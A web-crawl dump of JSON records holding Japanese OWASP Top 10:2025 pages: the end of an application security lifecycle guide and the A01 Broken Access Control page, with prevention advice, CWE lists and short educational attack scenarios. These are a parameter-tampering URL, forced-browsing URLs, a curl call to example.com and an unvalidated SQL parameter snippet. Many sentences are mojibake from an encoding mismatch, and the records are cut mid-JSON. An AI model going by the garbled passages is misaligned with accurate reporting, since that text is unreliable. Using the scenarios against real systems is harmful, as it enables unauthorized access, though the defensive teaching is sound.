プロジェクトのキックオフ時にセキュリティ担当者として自己紹介を行い、相談先を明確にします。\n\n### ććĄˆäžé źć›¸ (RFP) と契約:\n\n- 内部または外部の開発者と、SDLC やベストプラクティスを含むセキュリティ要件を交渉します。\n- 計画・設計フェーズを含む、すべての技術要件の達成度を評価します。\n- 設計、セキュリティ、サービスレベル合意書 (SLA) を含むすべての技術要件を交渉します。\n- [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex) などのテンプレートやチェックリストを採用してください。 **注記:** *ă“ăŽé™„ĺ‰‡ăŻçąłĺ›˝ĺĽ‘ç´„ćł•ĺ‘ă‘ăŤä˝œćˆă•ă‚ŒăŚă„ăžă™ă€‚ă‚ľăƒłăƒ—ăƒŤé™„ĺ‰‡ă‚’ä˝żç”¨ă™ă‚‹ĺ‰ăŤă€čł‡ć źăŽă‚ă‚‹ćł•ĺž‹ĺ°‚é–€ĺŽśăŽă‚˘ăƒ‰ăƒă‚¤ă‚šă‚’ĺ—ă‘ăŚăă ă•ă„ă€‚*\n\n### 計画と設計フェーズ:\n\n- 開発者やセキュリティ専門家などの内部ステークホルダーと、計画および設計について交渉します。\n- 保護ニーズと想定される脅威レベルに適した、セキュリティ・アーキテクチャ、制御、対抗策、および設計レビューを定義します。\n- セキュリティを後付けするのではなく、最初から設計に組み込む方がはるかに費用対効果が高くなります。出発点として [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) や [OWASP Proactive Controls](https://top10proactive.owasp.org/) を活用してください。\n- [脅威モデリング](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html) を実施します。\n- ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒˆăŤĺŽ‰ĺ…¨ăŞč¨­č¨ˆă‚łăƒłă‚ťăƒ—ăƒˆă¨ăƒ‘ă‚żăƒźăƒłă‚’ć•™č‚˛ă—ă€č¨­č¨ˆă¸ăŽĺć˜ ă‚’äżƒă—ăžă™ă€‚\n- 開発者とともにデータフローを検証します。\n- äť–ăŽăƒŚăƒźă‚śăƒźă‚šăƒˆăƒźăƒŞăƒźă¨ä¸Śă‚“ă§ă€ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŤé–˘ă™ă‚‹ăƒŚăƒźă‚śăƒźă‚šăƒˆăƒźăƒŞăƒźă‚’čż˝ĺŠ ă—ăžă™ă€‚\n\n### 安全な開発ライフサイクル (Secure Development Lifecycle):\n\n- 組織のソフトウェア構築プロセスを改善するために、 [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) の活用を推奨します。\n- é–‹ç™şč€…ăŤĺŻžă—ă€ĺŽ‰ĺ…¨ăŞă‚łăƒźăƒ‡ă‚Łăƒłă‚°ă‚„ĺ …ç‰˘ăŞă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłć§‹çŻ‰ăŽăŸă‚ăŽăƒˆăƒŹăƒźăƒ‹ăƒłă‚°ă‚’ćäž›ă—ăžă™ă€‚\n- コードレビューを実施します。 [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) を参照してください。\n- 静的分析 (SAST)、ソフトウェア組成分析 (SCA)、シークレットスキャン、 [IaC (Infrastructure-as-Code)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html) スキャナーなどのツールを提供し、使い方を教育します。\n- 可能であれば、開発者をより安全な選択へと導くためのガードレール(技術的な保護策)を作成します。\n- 強力で使いやすいセキュリティ制御を構築することは困難です。可能な限り安全なデフォルトを提供し、最も簡単な方法が最も安全な方法となる「舗装された道 (Paved Roads)」(明らかに好ましい方法)を整備してください。 [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) は開発者にとって良い出発点であり、多くのモダンフレームワークには認可、検証、CSRF 防止などの標準的かつ効果的なセキュリティ制御が組み込まれています。\n- IDE 用のセキュリティプラグインを提供し、活用を推奨します。\n- シークレット管理ツールとライセンス、およびその使用方法に関するドキュメントを提供します。\n- プライベート AI を提供してください。理想的には、有用なセキュリティドキュメントを満載した RAG (Retrieval-Augmented Generation) サーバー、成果を高めるプロンプト集、および組織のセキュリティツールを呼び出す MCP (Model Context Protocol) サーバーを備えた環境が望ましいです。開発者は好むと好まざるとにかかわらず AI を利用するため、安全な使い方を教育してください。\n\n### 継続的なアプリケーションセキュリティテストの確立:\n\n- 技術的な機能や IT アーキテクチャとの統合をテストし、ビジネス部門と協力してテストを調整します。\n- 技術的・ビジネス的視点から「正常系 (use)」と「異常系 (abuse)」のテストケースを作成します。\n- 内部プロセス、保護ニーズ、および想定される脅威レベルに従って、セキュリティテストを管理します。\n- セキュリティテストツール(ファザー、DAST など)と安全なテスト環境、およびトレーニングを提供します。または、代わりにテストを実施するか、テスターを雇用してください。\n- éŤ˜ă„ăƒŹăƒ™ăƒŤăŽă‚˘ă‚ˇăƒĽă‚˘ăƒŠăƒłă‚šăŒĺż…čŚăŞĺ ´ĺˆăŻă€ć­ŁĺźăŞăƒšăƒăƒˆăƒŹăƒźă‚ˇăƒ§ăƒłăƒ†ă‚šăƒˆă€ă‚šăƒˆăƒŹă‚šăƒ†ă‚šăƒˆă€ăƒ‘ăƒ•ă‚Šăƒźăƒžăƒłă‚šăƒ†ă‚šăƒˆă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚\n- é–‹ç™şč€…ă¨ĺ”ĺŠ›ă—ăŚăƒă‚°ăƒŹăƒăƒźăƒˆă‹ă‚‰äżŽć­Łă™ăšăé …ç›Žă‚’ćąşĺŽšă—ă€ăƒžăƒăƒźă‚¸ăƒŁăƒźăŻäżŽć­ŁăŽăŸă‚ăŽć™‚é–“ă‚’ç˘şäżă™ă‚‹ă‚ˆă†ăŤă—ăžă™ă€‚\n\n### ロールアウト:\n\n- アプリケーションを運用開始し、必要に応じて旧アプリケーションから移行します。\n- 構成管理データベース (CMDB) やセキュリティ・アーキテクチャを含む、すべてのドキュメントを完成させます。\n\n### 運用と変更管理:\n\n- 運用には、アプリケーションのセキュリティ管理に関するガイドライン(例:パッチ管理)を含める必要があります。\n- ユーザーのセキュリティ意識を高め、使いやすさとセキュリティの相反する要求を管理します。\n- OS、ミドルウェア、ライブラリなどのコンポーネントの更新や移行を含む変更を計画・管理します。\n- すべてのアプリをインベントリに登録し、詳細を文書化します。CMDBă€ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łăƒťă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒăƒŁă€ĺˆśĺžĄă€ĺŻžćŠ—ç­–ă€é‹ç”¨ć‰‹é †ć›¸ (Runbook) などを最新の状態に保ちます。\n- ă™ăšăŚăŽă‚˘ăƒ—ăƒŞă§ăƒ­ă‚Žăƒłă‚°ă€ç›ŁčŚ–ă€ă‚˘ăƒŠăƒźăƒˆă‚’ĺŽŸć–˝ă—ăžă™ă€‚ä¸čśłă—ăŚă„ă‚‹ĺ ´ĺˆăŻčż˝ĺŠ ă—ăŚăă ă•ă„ă€‚\n- 効果的かつ効率的なアップデートとパッチ適用のためのプロセスを構築します。\n- 定期的なスキャン(動的、静的、シークレット、IaC、SCA)をスケジュールします。\n- セキュリティバグの修正に関する SLA を策定します。\n- ĺž“ćĽ­ĺ“ĄďźˆăŠă‚ˆăłç†ćƒłçš„ăŤăŻéĄ§ĺŽ˘ďź‰ăŒăƒă‚°ă‚’ĺ ąĺ‘Šă§ăă‚‹ć‰‹ćŽľă‚’ćäž›ă—ăžă™ă€‚\n- ソフトウェア攻撃の手法や可観測性 (Observability) ツールを理解した、訓練済みのインシデント対応チームを確立します。\n- 自動化された攻撃を阻止するためのブロッキングまたはシールドツールを運用します。\n- 年に一度(またはそれ以上)、設定の要塞化 (Hardening) を実施します。\n- 少なくとも年に一度はペネトレーションテストを実施してください(アプリに必要なアシュアランスのレベルによります)。\n- ソフトウェアサプライチェーンの要塞化と保護のためのプロセスとツールを確立します。\n- 最も重要なアプリケーションとその維持に使用するツールを含めた、ビジネス継続性計画 (BCP) と災害復旧 (DR) 計画を確立・更新します。\n\n### システムの廃止:\n\n- 必要なデータはアーカイブし、それ以外のデータは安全に消去します。\n- 未使用のアカウント、ロール、権限を削除し、アプリケーションを安全に廃止します。\n- CMDB 上でアプリケーションの状態を「廃止 (retired)」に変更します。\n\n## OWASP Top 10 ă‚’ć¨™ćş–ă¨ă—ăŚĺˆŠç”¨ă™ă‚‹ĺ ´ĺˆ\n\nOWASP Top 10 は主に啓発を目的とした文書ですが、2003年の開始以来、業界の事実上の標準 (de facto standard) ă¨ă—ăŚĺˆŠç”¨ă•ă‚ŒăŚăăžă—ăŸă€‚ćœŹăƒ‰ă‚­ăƒĽăƒĄăƒłăƒˆă‚’ă‚łăƒźăƒ‡ă‚Łăƒłă‚°ă‚„ăƒ†ă‚šăƒˆăŽć¨™ćş–ă¨ă—ăŚĺˆŠç”¨ă™ă‚‹ĺ ´ĺˆă€ăă‚ŒăŻă€Œćœ€ä˝Žé™ăŽĺ‡şç™şç‚šă€ăŤéŽăŽăŞă„ă“ă¨ă‚’čŞč­˜ă—ăŚăă ă•ă„ă€‚\n\n標準として使用するのが難しい理由の一つに、本ドキュメントが必ずしも容易にテスト可能な問題ではなく、AppSec の「リスク」を記述している点が挙げられます。例えば [A06:2025-ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ](../A06_2025-Insecure_Design/) ăŻă€ăťă¨ă‚“ăŠăŽăƒ†ă‚šăƒˆć‰‹ćł•ăŽçŻ„ĺ›˛ă‚’čś…ăˆăŚă„ăžă™ă€‚ăžăŸă€ăƒ­ă‚Žăƒłă‚°ă¨ç›ŁčŚ–ăŒĺŽŸéš›ăŤĺ°Žĺ…Ľă•ă‚Œă€ä˝żç”¨ă•ă‚Œă€ĺŠšćžœçš„ăŤćŠŸčƒ˝ă—ăŚă„ă‚‹ă‹ăŽç˘şčŞăŻă€ă‚¤ăƒłă‚żăƒ“ăƒĽăƒźă‚„ĺŠšćžœçš„ăŞă‚¤ăƒłă‚ˇăƒ‡ăƒłăƒˆĺŻžĺżœăŽă‚ľăƒłăƒ—ăƒŞăƒłă‚°čŞżćŸťă‚’é€šă˜ăŚăŽăżĺŻčƒ˝ă§ă™ă€‚é™çš„ă‚łăƒźăƒ‰ĺˆ†ćžăƒ„ăƒźăƒŤăŻăƒ­ă‚Žăƒłă‚°ăŽćŹ ĺŚ‚ă‚’ć¤œĺ‡şă§ăăžă™ăŒă€ăƒ“ă‚¸ăƒă‚šăƒ­ă‚¸ăƒƒă‚Żă‚„ă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŒé‡ĺ¤§ăŞă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁäžľĺŽłă‚’ăƒ­ă‚Žăƒłă‚°ă—ăŚă„ă‚‹ă‹ăŠă†ă‹ă‚’ĺˆ¤ć–­ă™ă‚‹ă“ă¨ăŻä¸ĺŻčƒ˝ă‹ă‚‚ă—ă‚Œăžă›ă‚“ă€‚ăƒšăƒăƒˆăƒŹăƒźă‚ˇăƒ§ăƒłăƒ†ă‚šă‚żăƒźăŻă€ăƒ†ă‚šăƒˆç’°ĺ˘ƒă§ă‚¤ăƒłă‚ˇăƒ‡ăƒłăƒˆĺŻžĺżœă‚’ç™şĺ‹•ă•ă›ăŸă“ă¨ă‚’ç˘şčŞă§ăă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ăŒă€ăƒ†ă‚šăƒˆç’°ĺ˘ƒăŻćœŹç•Şç’°ĺ˘ƒă¨ĺŒă˜ć–šćł•ă§ç›ŁčŚ–ă•ă‚ŒăŚă„ă‚‹ă“ă¨ăŻăťă¨ă‚“ăŠă‚ă‚Šăžă›ă‚“ă€‚\n\n以下に、OWASP Top 10 ăŽéŠĺˆ‡ăŞĺˆŠç”¨ĺ ´é˘ă‚’ăžă¨ă‚ăžă™ă€‚\n\n| **ユースケース** | **OWASP Top 10 2025** | **OWASP ASVS** |\n| --- | --- | --- |\n| 啓発 (Awareness) | はい | |\n| トレーニング | 初級レベル | 包括的 |\n| 設計とアーキテクチャ | 時〠| はい |\n| コーディング標準 | 最低限 | はい |\n| 安全なコードレビュー | 最低限 | はい |\n| ピアレビュー・チェックリスト | 最低限 | はい |\n| ユニットテスト | 時〠| はい |\n| 統合テスト | 時〠| はい |\n| ペネトレーションテスト | 最低限 | はい |\n| ツールによるサポート | 最低限 | はい |\n| サプライチェーンの安全確保 | 時〠| はい |\n\nă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łć¨™ćş–ă‚’ĺ°Žĺ…Ľă™ă‚‹ĺ ´ĺˆăŻă€ć¤œč¨źăƒťăƒ†ă‚šăƒˆăŒĺŽšć˜“ăŞ [OWASP ASVS (Application Security Verification Standard)](https://owasp.org/www-project-application-security-verification-standard/) の利用を強く推奨します。\n\năƒ„ăƒźăƒŤăƒ™ăƒłăƒ€ăƒźăŒćş–ć‹ ă‚’ä¸ťĺźľă§ăă‚‹ĺ”Żä¸€ăŽé¸ćŠžč‚˘ăŻ ASVS でしょう。[A06:2025-ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ](../A06_2025-Insecure_Design/) を参照すればわかるように、OWASP Top 10 のいくつかのリスクの性質上、ツールだけで OWASP Top 10 を包括的に検出、テスト、または保護することはできません。OWASP は OWASP Top 10 の完全なカバレッジを主張することを推奨していません。それは単に真実ではないからです。", "znaku_textu": 18926, "slov": 537, "odkazu": 59, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:18", "sha256": "3855e926688895a4ef72847b27b6b36148c0dc6e48e83c4ef1ff5bbe922ae87f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://de.wikipedia.org/wiki/Configuration_Management_Database", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A01_2025-Broken_Access_Control/", "titulek": "A01 Broken Access Control - OWASP Top 10:2025", "h1": "A01:2025 アクセス制御の不備 (Broken Access Control)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A01_2025-Broken_Access_Control/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 アクセス制御の不備 (Broken Access Control)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A01:2025 アクセス制御の不備 (Broken Access Control)\n\n## 背景 (Background)\n\n「アクセス制御の不備」は、OWASP Top 10 ぎ珏1位を維持しています。テストされたすべてのアプリケーションで、何らかの形でアクセス制御の不備が見つかりました。主な CWE (共通弱点一覧) ăŤăŻă€čŞĺŻă•ă‚ŒăŚă„ăŞă„č€…ă¸ăŽćŠŸĺŻ†ćƒ…ĺ ąăŽéœ˛ĺ‡ş (CWE-200)ă€é€äżĄăƒ‡ăƒźă‚żăŤă‚ˆă‚‹ćŠŸĺŻ†ćƒ…ĺ ąăŽéœ˛ĺ‡ş (CWE-201)、サーバーサイドリクエストフォージェリ (SSRF: CWE-918)、およびクロスサイトリクエストフォージェリ (CSRF: CWE-352) が含まれます。本カテゴリは、収集データにおいて出現回数が最も多く、関連する CVE (共通脆弱性識別子) 数は第2位を記録しています。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100.00% | 42.93% | 7.04 | 3.84 | 1,839,701 | 32,654 |\n\n## 説明 (Description)\n\nă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŻă€ăƒŚăƒźă‚śăƒźăŒć„ĺ›łă•ă‚ŒăŸć¨Šé™ă‚’čś…ăˆăŚčĄŒĺ‹•ă§ăăŞă„ă‚ˆă†ă€ăƒăƒŞă‚ˇăƒźă‚’ĺźˇĺˆśă™ă‚‹ă“ă¨ă§ă™ă€‚ĺˆśĺžĄăŤĺ¤ąć•—ă™ă‚‹ă¨ă€é€šĺ¸¸ăŻćƒ…ĺ ąăŽä¸ć­Łé–‹ç¤şă€ăƒ‡ăƒźă‚żăŽć”šă–ă‚“ă‚„ç ´ĺŁŠă€ă‚ă‚‹ă„ăŻć¨Šé™ĺ¤–ăŽăƒ“ă‚¸ăƒă‚šćŠŸčƒ˝ăŽĺŽŸčĄŒă‚’ć‹›ăăžă™ă€‚ä¸€čˆŹçš„ăŞă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŽč„†ĺźąć€§ăŻäťĽä¸‹ăŽé€šă‚Šă§ă™ă€‚\n\n- **最小権限の原則 (Principle of Least Privilege) への違反:** 特定の機能やロールに対してのみアクセスを許可すべきところ、デフォルトですべてのユーザーにアクセスを許可している状態。\n- **アクセス制御チェックの回避:** URL(パラメータの改ざんや強制ブラウズ)、アプリケーションの内部状態、HTML ページの改ざん、あるいは攻撃ツールによる API リクエストの変更を通じたチェックの回避。\n- **IDOR (安全でない直接オブジェクト参照) :** 一意の識別子を書き換えることで、他人のアカウントを表示・編集できる状態。\n- **API の制御不備:** POST、PUT、DELETE ăŤĺŻžă™ă‚‹ă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŒćŹ ĺŚ‚ă—ăŸ API。\n- **ć¨Šé™ăŽć˜‡ć ź (Elevation of Privilege) :** ログインせずにユーザーとして行動することや、一般ユーザーが管理者権限を取得するなど、想定外の権限を得ること。\n- **メタデータの操作:** JSON Web Token (JWT) や Cookieă€éš ă—ăƒ•ă‚ŁăƒźăƒŤăƒ‰ăŞăŠăŽć”šă–ă‚“ă€ă‚ă‚‹ă„ăŻ JWT ăŽç„ĄĺŠšĺŒ–ĺ‡Śç†ăŽć‚Şç”¨ăŤă‚ˆă‚‹ć¨Šé™ć˜‡ć źă€‚\n- **CORS (オリジン間リソース共有) の設定ミス:** čŞĺŻă•ă‚ŒăŚă„ăŞă„ă€ă‚ă‚‹ă„ăŻäżĄé źă§ăăŞă„ă‚ŞăƒŞă‚¸ăƒłă‹ă‚‰ăŽ API アクセスを許可している状態。\n- **強制ブラウズ (Forced Browsing) :** 認証が必要なページや権限が必要なページに対して、URL を推測して直接アクセスを試みること。\n\n## 防止方法 (How to Prevent)\n\nă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŒĺŠšćžœă‚’ç™şćŽă™ă‚‹ăŽăŻă€ć”ťć’ƒč€…ăŒăƒă‚§ăƒƒă‚Żĺ‡Śç†ă‚„ăƒĄă‚żăƒ‡ăƒźă‚żă‚’ĺ¤‰ć›´ă§ăăŞă„ă€äżĄé źă§ăă‚‹ă‚ľăƒźăƒăƒźĺ´ăŽă‚łăƒźăƒ‰ăžăŸăŻă‚ľăƒźăƒăƒźăƒŹă‚š API ă§ĺŽŸčŁ…ă•ă‚ŒăŚă„ă‚‹ĺ ´ĺˆăŽăżă§ă™ă€‚\n\n- **デフォルトで拒否 (Deny by Default) :** 公開リソースを除き、原則としてすべてのアクセスを拒否してください。\n- **仕組みの再利用:** アクセス制御の仕組みは一度だけ実装し、CORS の使用を最小限に抑えるなど、アプリケーション全体で再利用してください。\n- **レコード所有権の強制:** 単に作成・読み取り・更新・削除を許可するのではなく、各レコードの所有権に基づいたアクセス制御をモデル上で強制してください。\n- **ドメインモデルでの制限:** アプリケーション固有のビジネス制限要件を、ドメインモデルによって強制してください。\n- **ディレクトリ一覧の無効化:** Web サーバーのディレクトリ一覧表示機能を無効化してください。また、ファイルのメタデータ(.git など)やバックアップファイルが公開ディレクトリ内に存在しないことを確認してください。\n- **ログとアラート:** ă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŽĺ¤ąć•—ă‚’ăƒ­ă‚°ăŤč¨˜éŒ˛ă—ă€çš°ă‚Ščż”ă—ăŽĺ¤ąć•—ăŞăŠăŒĺż…čŚăŞĺ ´ĺˆăŻçŽĄç†č€…ăŤă‚˘ăƒŠăƒźăƒˆă‚’é€šçŸĽă—ăŚăă ă•ă„ă€‚\n- **レート制限 (Rate Limits) :** 自動化された攻撃ツールによる被害を最小限に抑えるため、API やコントローラーへのアクセスにレート制限を導入してください。\n- **セッションの無効化:** ログアウト後は、ステートフルなセッション識別子をサーバー側で無効化してください。ステートレスな JWT トークンは、攻撃の機会を減らすために有効期間を短く設定してください。長期有効な JWT ăŽĺ ´ĺˆăŻă€ăƒŞăƒ•ăƒŹăƒƒă‚ˇăƒĽăƒˆăƒźă‚ŻăƒłăŽä˝żç”¨ă‚„ OAuth ć¨™ćş–ăŤćş–ć‹ ă—ăŸă‚˘ă‚Żă‚ťă‚šĺ–ćśˆă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚\n- **確立されたパターンの活用:** シンプルで宣言的なアクセス制御を提供する、実績のあるツールキットやパターンを使用してください。\n\n開発者および QA 担当者は、ユニットテストおよび統合テストにアクセス制御の機能テストを組み込む必要があります。\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1:** ă‚˘ă‚Ťă‚Śăƒłăƒˆćƒ…ĺ ąă¸ăŽă‚˘ă‚Żă‚ťă‚šăŤă€ć¤œč¨źă•ă‚ŒăŚă„ăŞă„ăƒ‡ăƒźă‚żă‚’ä˝żç”¨ă—ăŸ SQL 呼び出しが行われている。\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\n攻撃者はブラウザの `acct` ăƒ‘ăƒŠăƒĄăƒźă‚żă‚’ć›¸ăć›ăˆă‚‹ă ă‘ă§ă€äťťć„ăŽĺŁĺş§ç•Şĺˇă‚’é€äżĄă§ăăžă™ă€‚éŠĺˆ‡ăŤć¤œč¨źă•ă‚ŒăŚă„ăŞă„ĺ ´ĺˆă€ć”ťć’ƒč€…ăŻäť–äşşăŽă‚˘ă‚Ťă‚ŚăƒłăƒˆăŤă‚˘ă‚Żă‚ťă‚šă§ăăŚă—ăžă„ăžă™ă€‚\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**シナリオ #2:** 攻撃者が管理ページなどの特定の URL に対して強制ブラウズを試みる。管理ページへのアクセスには管理者権限が必要です。\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\nćœŞčŞč¨źăŽăƒŚăƒźă‚śăƒźăŒăŠăĄă‚‰ăŽăƒšăƒźă‚¸ăŤă‚‚ă‚˘ă‚Żă‚ťă‚šă§ăă‚‹ĺ ´ĺˆă‚„ă€ä¸€čˆŹăƒŚăƒźă‚śăƒźăŒçŽĄç†ăƒšăƒźă‚¸ăŤă‚˘ă‚Żă‚ťă‚šă§ăă‚‹ĺ ´ĺˆăŻă€ä¸ĺ‚™ăŒă‚ă‚‹ă¨č¨€ăˆăžă™ă€‚\n\n**シナリオ #3:** アプリケーションがアクセス制御をフロントエンドのみで実装している。ブラウザ上の JavaScript により `https://example.com/app/admin_getappInfo` へのアクセスがブロックされていても、攻撃者はコマンドラインから直接リクエストを実行できます。\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\n## 関連資料 (References)\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Absolute Path Traversal](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 UNIX Symbolic Link (Symlink) Following](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows Hard Link](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Improper Preservation of Permissions](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Improper Ownership Management](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Unverified Ownership](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Improper Protection of Alternate Path](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusion of Sensitive Information in Source Code Comments](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Exposed Dangerous Method or Function](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 11994, "slov": 633, "odkazu": 81, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:19", "sha256": "6c5ae4cd08708a0ef6f974e5c9a3a700bf4a6588b8e8835efab742b0a077f418", "hloubka": 